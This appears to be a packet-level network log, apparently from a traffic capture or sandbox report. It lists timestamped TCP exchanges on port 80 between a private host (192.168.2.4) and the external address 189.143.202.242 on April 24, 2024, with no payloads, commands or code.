Apr 24, 2024 18:52:01.678275108 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678288937 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678348064 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678349018 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678400993 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.678426027 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.678478956 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685168982 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685249090 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685250044 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685307026 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685345888 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685363054 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685400963 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685405970 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685430050 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685446024 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685450077 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685511112 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685534000 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685554981 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685590029 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685607910 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685610056 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685662985 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685679913 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685736895 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.685758114 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.685817957 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.690956116 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691004992 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691025972 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691050053 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691066980 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691122055 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691140890 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691195965 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691200018 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691252947 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691291094 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691320896 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691348076 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691385984 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691390991 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691433907 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691436052 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691481113 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691509962 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691561937 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691570997 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691617966 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.691620111 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.691682100 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884232044 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884291887 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884310007 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884330988 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884352922 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884368896 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884382010 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884407997 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884427071 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884448051 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884485006 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884499073 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884499073 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884526014 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884529114 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884577990 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884660959 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884699106 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884715080 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884737015 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.884754896 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.884793043 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.890952110 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.890990973 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891014099 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891030073 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891056061 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891092062 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891102076 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891140938 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891154051 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891202927 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891213894 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891252041 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891268015 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891309977 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891321898 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891359091 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891383886 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891396999 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891403913 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891448021 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.891468048 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.891516924 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897428036 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897466898 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897506952 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897527933 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897533894 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897574902 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897587061 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897617102 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897633076 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897685051 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897690058 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897727013 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897753000 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897763968 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897782087 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897816896 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897833109 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897870064 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897885084 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897910118 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.897926092 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897970915 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.897979021 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.898035049 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.903892994 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.903932095 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.903956890 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.903971910 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.903999090 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904010057 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904028893 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904047012 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904068947 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904086113 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904129028 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904140949 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904148102 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904180050 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904196024 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904218912 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904231071 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904256105 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904273987 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904326916 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.904371023 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.904392004 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909250021 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909342051 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909379959 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909384966 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909415007 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909418106 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909435987 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909475088 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909490108 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909528017 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909552097 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909565926 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909574032 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909621954 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909667015 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909725904 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909768105 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909827948 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909903049 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909940958 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.909965038 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.909979105 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.910001993 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.910037041 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913249016 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913306952 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913307905 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913363934 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913425922 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913465023 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913505077 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913552999 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913568020 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913604975 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913625002 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913642883 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.913655043 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.913695097 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917265892 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917305946 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917332888 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917340994 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917354107 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917393923 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917413950 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917453051 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917473078 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917486906 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.917516947 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.917534113 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921236038 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921295881 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921307087 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921334982 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921358109 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921370029 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921375036 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921423912 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921432018 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921482086 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921484947 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921544075 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921591043 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921649933 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921660900 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921720982 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921770096 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921832085 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921842098 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921879053 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.921911955 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921936989 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.921951056 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.922024012 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925040007 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925076008 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925106049 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925113916 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925123930 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925148010 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925167084 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925211906 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925219059 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925252914 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925273895 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925290108 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925311089 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925327063 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925344944 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925373077 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925378084 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925415039 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925430059 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925448895 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925467968 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925510883 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925525904 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925560951 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925584078 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925606012 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925631046 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925692081 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925702095 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925734997 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.925760031 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.925776958 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928411961 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928483963 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928502083 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928539038 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928558111 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928599119 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928616047 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928677082 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928688049 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928725004 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928747892 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928759098 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928785086 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928802967 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928831100 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928863049 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928885937 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928920031 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.928934097 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928966045 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.928997993 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929014921 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929035902 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929069042 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929095984 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929105997 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929117918 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929137945 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929162025 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929176092 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929188013 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929208994 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.929228067 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.929271936 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.931860924 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.931895018 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.931920052 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.931931019 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.931950092 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.931971073 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.931982040 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932003021 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932018995 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932055950 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932074070 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932136059 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932236910 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932291985 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932336092 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932373047 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932390928 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932406902 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932426929 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932462931 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932508945 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932543039 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932562113 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932591915 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932641983 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932679892 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932701111 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932712078 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.932719946 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.932760000 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:01.958100080 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:01.958163977 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104238987 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104281902 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104319096 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104372025 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104403973 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104434967 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104443073 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104480028 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104499102 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104549885 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104589939 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104607105 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104626894 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104639053 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104681015 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104697943 CEST	80	49733	189.143.202.242	192.168.2.4
Apr 24, 2024 18:52:02.104752064 CEST	49733	80	192.168.2.4	189.143.202.242
Apr 24, 2024 18:52:02.104798079 CEST	80	49733	189.143.202.242	192.168.2.4
